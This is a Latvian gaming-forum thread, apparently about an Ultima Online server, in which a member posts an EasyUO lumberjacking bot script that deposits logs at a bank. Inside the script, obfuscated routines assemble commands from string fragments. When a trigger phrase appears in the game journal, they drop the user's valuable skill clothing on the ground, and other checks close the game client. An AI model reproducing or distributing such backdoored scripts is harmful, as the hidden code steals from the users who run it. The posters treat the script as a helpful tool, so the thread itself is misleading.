Jump to content


Toggle shoutbox Chat Open the Shoutbox in a popup

Прямая связь с администрацией по скайпу: gods.dragon
@  Gogogo : (Yesterday, 17:42) Sell veteran plawik 60durba 5kk sell full gods chain+ shield 20kkSell 2 gods bow 23 durb i 69 20kk
@  kirko : (Yesterday, 15:14) cjo ze ti posti udaljaew?
@  kirko : (Yesterday, 15:14) Djukok
@  kirko : (Yesterday, 15:14) ;
@  Gogogo : (Yesterday, 14:48) buy RP
@  Gogogo : (12 November 2018 - 23:37) Sell 2 gods bow 23 durb i 69 20kk
@  Gogogo : (12 November 2018 - 23:36) Sell veteran plawik 60durba 5kk sell full gods chain+ shield 20kk
@  Gogogo : (12 November 2018 - 22:17) nu tak odevjtesj i idem draca
@  Imobilaizer : (12 November 2018 - 22:02) @Gogogo idem 3x3 4x4 nazivaite luboe mesto i vremja, a tak sidite v gz
@  Gogogo : (12 November 2018 - 21:44) @Djukok muti varki lutshi
@  Djukok : (12 November 2018 - 20:19) @GA GA GA Тебе не то что молчанки, тебя уже пора по 1.2 сажать. Но пока молчанка...
@  GA GA GA : (12 November 2018 - 19:11) Idi ikonu s Djukokom protri ot pyli,fanat Djuka Nr1
@  OLDPFUN : (12 November 2018 - 19:06) da che ti nojiw~? pravdo to estj gdeto no ti neponemajew eto nekomu neinteresno!
@  GA GA GA : (12 November 2018 - 18:57) Na forume nazovesh Aigara krisoj kotoraja obvorovivaet Acc (4to dokazanno) -MOL4ANKA ... V tom zhe topike Aigar nazivaet Lancelota-Narkomanom,Bomzhom i t.d (Ja s etim soglasen,no eto daleko ne FAKT :) - Vse normalno-Aigar molodec,mol4anki net... i eto po vashemu adekvatno? i takih primerov 1000000....
@  GA GA GA : (12 November 2018 - 18:50) Shanu davno pofig na server,da i shan vsegda prikrival Staff servera,butj to Nil libo Djuk...vspomni kak vy plakali 4to Nil palit Seerom i t.d...Shanu vygodno 4to djuk delaet vsju 4ernuju rabotu...sazaet v jail,otve4aet na PageGM i t.d ...
@  Imobilaizer : (12 November 2018 - 18:27) @GA GA GA i shan ego prikrivaet?
@  GA GA GA : (12 November 2018 - 15:32) @Djukok,kakie ne adkvatnye posti? Vsem uzhe nadoeli tvoi,ne adkvatnie postupki...mol4anki svoim ne daet,v jail nikogo iz svoih ne sazaet...a drugim mol4anki,jaili 4to eto za STAFF takoj? :D :D :D
@  Артемий Шан : (12 November 2018 - 13:21) Пусть почитает гайд про лост: http://forum.oldp.ne...howtopic=102608
@  sensation : (12 November 2018 - 10:51) @Djukok неадекват это своим всё можно а других сразу в тюрьму
@  Gogogo : (12 November 2018 - 10:41) tak shjas pri tvajom priduprizhdenie chelovek budet bojaca hoditj na lost shtob neulitetj v jail ,ga ga ga prav !

Photo

Lumber Script (bank)


  • Please log in to reply
14 replies to this topic

#1 office-girl

office-girl

    Novice Player

  • Members
  • 145 posts
  • Gender:Male
  • Location:Latvia,Riga
  • Interests:Just having fun and do what stifler does best, be retarded.

Posted 05 April 2010 - 11:48

Man te jautājums , vai kāds varētu iemest script kas iet uz banku un met tur logus ? Tākā māju nevaru atļauties tad uz banku noderētu. Skatījos pa forumu , pārsvarā visus kurus redzēju iet uz māju.

#2 keidzhii

keidzhii

    Player

  • Members
  • 207 posts

Posted 05 April 2010 - 16:24

sapikjo, sataisiishu

#3 office-girl

office-girl

    Novice Player

  • Members
  • 145 posts
  • Gender:Male
  • Location:Latvia,Riga
  • Interests:Just having fun and do what stifler does best, be retarded.

Posted 05 April 2010 - 16:28

sapikjo, sataisiishu



A bez tā jau nevar? Man jau ir standarta scritps no foruma kas kapā un iet uz māju nolikt logus...

#4 keidzhii

keidzhii

    Player

  • Members
  • 207 posts

Posted 05 April 2010 - 16:35

poh, paliidzeeshu tev. skype:naaveskaplis

#5 office-girl

office-girl

    Novice Player

  • Members
  • 145 posts
  • Gender:Male
  • Location:Latvia,Riga
  • Interests:Just having fun and do what stifler does best, be retarded.

Posted 06 April 2010 - 20:55

Kas man scriptā ir jāmaina lai viņš reaperus sistu? savādāk spēlē kā reapers parādās kliedz virs čara Pathfinding. Ja kas Chars archers.
[codebox]set %gameClass Archer	; Cleric or Archer

set %maxWeight 990	; Max svars

set %box UAHWJMD		 ; Kastes ID, kur likt ruudu u.c. itemus

set %foodCont			; Kastes ID, kur staav rezerves piens un bekons

set %xCoord 1508		 ; X koordinaata tieshi pie kastes

set %yCoord 2323		 ; Y koordinaata tieshi pie kastes

set %dropAspen #false	 ; #true - nomet Aspen logus , #false - nenomet

set %dropWillow #false	; #true - nomet Willow logus , #false - nenomet

set %dropCedarMapleNoblefire #false; #true nomet tos logus, #false - nee

set %dropCherryEcalyptus #false ; #true nomet tos logus, #false - nee

set %skillItemChange #false; #true - mainiis dreebes, #false - nemainiis

set %recall #false		; #true - lidos ar runebook, #false - skries taapat

; Var nemainiit, ja %skillItemChange #false

set %skillRobe LCSBKMD; Skill Roba (ID)

set %skillCloak UIQBKMD; Skill Cloack (ID)

set %skillMask JGRBKMD; Skill Mask (ID)

set %simpleRobe UJUSJMD ; Parasta Roba (ID)

set %simpleCloak IFUSJMD ; Parastais cloack (ID)

set %simpleMask CSH; Platemail helms (ID)

; Shos var nemainiit ja %recall #false

set %runebookID FOFELMD ; Runebooka ID

set %runeNumberToHome 6; Runas Nr uz maaju

set %runeNumberToWood 5 ; Runas Nr uz mezhu

set %amountRecalls 10

; special variables for Archer (tikai prieksh archera):

set %camp heal; #spc - the best camp, heal - healing campifre +5

set %minKidlings 10 ; minimaalais kidnlingu skaits somaa

set %amountKidlings 40; cik kidlingus panjemt, kad vinju maz vai vispar nav

set %minArrows 150; minimaalais bultu skaits somaa

set %amountArrows 400; cik bultas panjemt, kad vinju maz vai vispar nav

set %Weapon   PPNRLMD;

; special variables for Cleric(tikai prieksh klerika):

set %Weapon VOH	; Ieocis

set %Shield OIK	; Vairogs



set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI

set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI



if %recall

{

gosub Instalyze runeNumberToHome 1

gosub Instalyze runeNumberToWood 2

}

if %dropAspen

set %aspenCol 973

if %dropWillow

set %willowCol 0

if %dropCedarMapleNoblefire 3

set %cedarCol 437

set %mapleCol 1233

set %noblefireCol 153

if %dropCherryEcalyptus 2

set %cherryCol 38

set %ecalyptusCol 81

set %skill %skillRobe , _ , %skillCloak , _ , %skillMask , _ , %simpleRobe , _ , %simpleCloak

gosub gettingStarted

gosub initevents

set %k 0

set %lastK 0



start:



GOSUB LJING 123123

GOSUB LJING 123123



goto start



sub ljing

set %k %k + 1

gosub ghost

gosub checkHP

gosub reaper

gosub checkWeight

move %1 %2 1

finditem FSF C

set #lobjectid #findid

set #ltargetx %1

set #ltargety %2

set #ltargettile %3

set #ltargetz %4

set #ltargetkind 3

event macro 17 0

target 10s

event macro 22 0

wait 7

set %overtime #scnt + 20

gosub scan

return



sub checkWeight

if #weight > %maxWeight

{

if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire

 {

 if %recall

 gosub port

 if ! %recall

 gosub moveItems

 }

if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus

 {

 gosub dropTrashLogs

 return

 }

}

if %afk <> true || %else <> IJG

gosub ghost 1

return



sub scan

scan:

scanjournal 1

if hungry in #sysmsg

{

gosub eat

return

}

%get fixed

gosub reaper

if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )

+  || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )

return

gosub checkHP

if #scnt >= %overtime

return

goto scan

return



sub arm

if %gameClass = Cleric

{

repeat

{

finditem %Weapon c_ , #BackpackId

set #lobjectID #findid

event macro 17 0

wait 12

finditem %Weapon c_ , #BackpackId

}

until #findcnt = 0

repeat

{

finditem %Shield c_ , #BackpackId

set #lobjectID #findid

event macro 17 0

wait 12

finditem %Shield c_ , #BackpackId

}

until #findcnt = 0

}

if %gameClass = Archer

{

msg $.arm bow$

wait 5

}

return



sub port

set %k %k + 1

gosub arm

gosub checkHP

gosub reaper

if G in #charstatus

event macro 6 0

event macro 6 0

set %oldPosX #charposx

set %oldPosY #charposy

gosub openRunebook

repeat

{

click %x1 %y1

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

if %gameClass = Cleric

event macro 13 21

if %gameClass = Archer

event macro 13 47

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

gosub moveItems

gosub back

return



sub moveItems

ignoreitem reset 1

ignoreitem %skill 1

gosub runToBox

if %gameClass = Cleric

event macro 13 21

finditem %box G_3

if #findcnt = 0

{

event Sysmessage Box Not Found!

pause

}

repeat

{

finditem %item c_ , #backpackid

if #findcnt >= 1

{

 if world_save_has_been in #sysmsg

 wait 15s

exevent Drag #Findid #findstack

exevent Dropc %box

wait 40

}

}

until #findcnt = 0

ignoreitem reset 1

if %gameClass = Archer

gosub rescourses

if %recall

gosub recalls

gosub food

return



sub back

gosub checkHP

set %oldPosX #charposx

set %oldPosY #charposy

for %i 1 2

{

gosub openRunebook

click 261 215; Recharge runebook 2x

wait 20

}

gosub openRunebook

repeat

{

click %x2 %y2

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

wait 2s

gosub changeClothesTo %skillMask %skillRobe %skillCloak

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

return



sub runToBox

repeat

{

move %xCoord %yCoord 0

wait 10

}

until #charposx = %xCoord && #charposy = %yCoord

return



sub checkHP

if #hits < #maxhits

{

 if %skillItemChange

 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

gosub arm

gosub follow&kill

 if %skillItemChange

 gosub changeClothesTo %skillMask %skillRobe %skillCloak

}

return



sub fixed

set %k %k + 1

%to %bca %be # . %all

{

repeat

{

set %up # . %cares

%done %start , _ , %else %end , _ , %up

%lastdo %race # . %Wsave

%lastdo %eaea # . %alpha # . %beta # . %gamma

%upgrade 25

%done %start , _ , %else %end , _ , %up

}

until # . %gems = 0

}

return



sub openRunebook

finditem %runebookID C_ , #backpackid

if #findcnt = 0

{

event sysmessage Runebook not found!

pause

}

set #lobjectid #findid

event macro 17 0

while #contname <> generic_gump && #contsize <> 577_426

wait 1

return



sub ghost

if #charghost = YES || %0 = 1

{

terminate uo

halt

}

return



sub changeClothesTo

repeat

{

finditem %1 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 12

finditem %1 C_ , #backpackid

}

until #findcnt = 0

repeat

{

finditem %2 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 12

finditem %2 C_ , #backpackid

}

until #findcnt = 0

repeat

{

Finditem %3 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 12

finditem %3 C_ , #backpackid

}

until #findcnt = 0

return



sub initevents

set %rescourse finding

str left %rescourse 4

set %save #strres

set %done %save , item

set %iii kill

str left string 1

set %asd #strres , %iii

set %start % . %asd

str left CADY 1

set %end #strres

str left character 4

set %who #strres

set %cares %who , id

str left %do 4

set %lastdo ex , #strres , t

set %race dragrace

str left %race 4

set %race #strres

set %Wsave %save , id

str right skopg 3

set %jasl #strres

str left drive 2

set %eaea #strres , %jasl

str left post 3

set %number %who , #strres

set %alpha %number , x

set %beta %number , y

set %gamma %number , z

set %repsawn waitrespawn

str left %repsawn 4

set %upgrade #strres

str left tilbery 3

set %almost #strres

str left unuquady 2

set %past #strres , %almost

set %gems %save , cnt

set %else IJG

return



sub follow&kill

set %charX #charposx

set %charY #charposy

set %charz #charposz

set %killTime #scnt + 60

if %gameClass = Cleric

{

repeat

{

finditem #enemyid

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

msg $.usebandage$

wait 10

target 1s

event macro 23 0

wait 10

gosub ghost

}

until #findcnt = 0 || #scnt > %killTime

}

if %gameClass = Archer

{

repeat

{

msg .camp %camp $

wait 40

finditem #enemyid

}

until #findcnt = 0 || #scnt > %killTime

}

gosub loot

if #hits < #maxhits

gosub heal

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

return



sub heal

repeat

{

msg $.usebandage$

wait 10

target

event macro 23 0

wait 20

}

until #hits >= #maxhits

return



sub gettingStarted

set %afk true

set %ell qaerty

str left %ell 1

set %abc #strres , #strres , #strres

set %a1 #strres

str left %ell 2

str right #strres 1

set %cba %abc , #strres , %a1

set %bca %cba , #strres

str right %afk 1

set %bca %bca , #strres

set %bra %bca , b

set %n1 nlogif

str right %n1 2

set %to #strres

str left %n1 1

set %be #strres

str right %n1 2

str left #strres 1

set %be #strres , %be

set %tour jour

set %navigate nalliwate

str left %navigate 3

set %all %tour , #strres

set %navigate gost

str left %navigate 3

set %ac #strres

str right pub 2

set %get %ac , #strres

set %do events

str right linit 4

set %toGo #strres , %do

return



sub eat

finditem ZBM C

set #lobjectid #findid

event macro 17 0

wait 10

finditem GND C

set #lobjectid #findid

event macro 17 0

wait 10

event macro 17 0

wait 5s

return



sub Instalyze

if % . %1 <= 8

set %x . %2 260

else

set %x . %2 420

if % . %1 = 1 || % . %1 = 9

set %y . %2 260

if % . %1 = 2 || % . %1 = 10

set %y . %2 275

if % . %1 = 3 || % . %1 = 11

set %y . %2 290

if % . %1 = 4 || % . %1 = 12

set %y . %2 305

if % . %1 = 5 || % . %1 = 13

set %y . %2 320

if % . %1 = 6 || % . %1 = 14

set %y . %2 335

if % . %1 = 7 || % . %1 = 15

set %y . %2 350

if % . %1 = 8 || % . %1 = 16

set %y . %2 365

return



sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait 40

}

until #false

}

return



sub dropTrashLogs

repeat

{

finditem ZLK C_ , #backpackid

if #findcnt = 0

 {

  wait 20

  if #weight >= %maxweight

   {

   if %recall

   gosub port

   if ! %recall

   gosub moveItems

   return

   }

  if #weight < %maxweight

   return

 }

if #findcol = %willowCol || #findcol = %aspenCol

+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol

+ || #findcol = %cherryCol || #findcol = %ecalyptusCol

{

exevent drag #findid #findstack

exevent dropg #charposx #charposy #charposz

wait 65

}

ignoreitem #findid 1

}

until #false

return



sub reaper

if %lastK >= %k

gosub ghost 1

set %lastK %k

finditem JE G

if #findcnt <> 0

{

sound

gosub arm

set %charX #charposx

set %charY #charposy

set %charz #charposz

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

set %killTime #scnt + 60

finditem JE G

set %reaper #findid

set #ltargetid %reaper

event macro 27 0

if %gameClass = Cleric

{

repeat

{

finditem %reaper

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

msg $.usebandage$

wait 10

target 1s

event macro 23 0

wait 10

gosub ghost

}

until #findcnt = 0 || #scnt > %killTime

}

if %gameClass = Archer

{

repeat

{

msg .camp %camp $

wait 40

finditem %reaper

}

until #findcnt = 0 || #scnt > %killTime

}

gosub loot

if #hits < #maxhits

gosub heal

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

}

return



sub rescourses

finditem RWF C_ , #backpackid

if #findstack <= %minArrows

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem RWF C_ , %box

exevent drag #findid %amountArrows

exevent dropc #backpackid

wait 30

}

finditem PEF C_ , #backpackid

if #findstack <= %minKidlings

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem PEF C_ , %box

exevent drag #findid %amountKidlings

exevent dropc #backpackid

wait 30

}

return



sub recalls

finditem WTL C_ , #backpackid

if #findstack <= 2 || #findcnt = 0

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem WTL C_ , %box

exevent drag #findid %amountRecalls

exevent dropc #backpackid

wait 30

}

return


#6 Latviete

Latviete

    Senior Player

  • Members
  • 505 posts
  • Gender:Male
  • Location:LV

Posted 06 April 2010 - 22:06

Ieroča ID norādīji pareizo? (set %Weapon PPNRLMD)
I look like a Polak
And sound like a Russian
But i am a proud
LATVIAN

#7 ExTjUtY

ExTjUtY

    *Riebīgais

  • Members
  • 3928 posts
  • Gender:Male
  • Location:Miami

Posted 06 April 2010 - 23:39

Tev vajag scp kas iet uz banku vai lido uz banku nomesties?Ja iet tad tev pasham vajadzes likt move koordinates.a ja lido tur scp viena vieta tik japamaina un viss.
Posted Image
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.

#8 office-girl

office-girl

    Novice Player

  • Members
  • 145 posts
  • Gender:Male
  • Location:Latvia,Riga
  • Interests:Just having fun and do what stifler does best, be retarded.

Posted 07 April 2010 - 07:32

Problēma atrisināta, snx visiem kas palīdzēja.

#9 Freelancer

Freelancer

    Novice

  • Members
  • 36 posts

Posted 09 September 2010 - 11:03

Problēma atrisināta, snx visiem kas palīdzēja.


Kā tu viņu izlaboji..?
Man ir tāda pati problēma!
Viss iet normāli..
Kokus sacērt, pat aiziet uz banku, bet pie bankas pasaka ''Box Not Found!''
Es arī nesaprotu no kurienes japaņem šai skripta daļai koordinātas:

set %box XXXXXXX		   ; ID korobki, gde sbrasivatj rudu

set %foodCont XXXXXXX	  ; ID korobki, gde stoit zapasi moloko i bekona

set %xCoord XXXX		   ; X koordinata okolo boxa

set %yCoord XXXX		   ; Y koordinata okolo boxa


#10 kocinsh

kocinsh

    Advanced Player

  • Members
  • 361 posts
  • Gender:Male
  • Location:Rīga
  • Interests:Urbināt degumu

Posted 10 September 2010 - 14:51

Kā ar archeru var 990 svara pārnest?

#11 Logitechh

Logitechh

    Journeyman

  • Members
  • 74 posts
  • Gender:Male
  • Location:Jelgava

Posted 10 September 2010 - 15:31

Kā ar archeru var 990 svara pārnest?

sets tur glory itd
Skype - cibkins Xl - summary 8lvl mage

#12 Chumitis

Chumitis

    Senior Player

  • Members
  • 518 posts

Posted 10 September 2010 - 18:22

sets tur glory itd

Viņš cirtās ar lumber mantām bet to jums nesaprast ;)

Заебись вода!

More players more fun.

 


#13 kocinsh

kocinsh

    Advanced Player

  • Members
  • 361 posts
  • Gender:Male
  • Location:Rīga
  • Interests:Urbināt degumu

Posted 10 September 2010 - 18:26

set %skillItemChange #false; #true - mainiis dreebes, #false - nemainiis



Viņš cirtās ar lumber mantām bet to jums nesaprast ;)


Vajag jau kaut ko iepļūtīt forumā, pat ja nav nekādas saprašanas vai ne?

#14 Logitechh

Logitechh

    Journeyman

  • Members
  • 74 posts
  • Gender:Male
  • Location:Jelgava

Posted 10 September 2010 - 22:20

Viņš cirtās ar lumber mantām bet to jums nesaprast ;)

lumber mantas, vismaz, cik es zinu, nedod str..
Skype - cibkins Xl - summary 8lvl mage

#15 MistiQ

MistiQ

    Novice Player

  • Members
  • 117 posts

Posted 20 October 2013 - 15:36

nez šito es ieliku viņš vispār aizver uo... 






0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users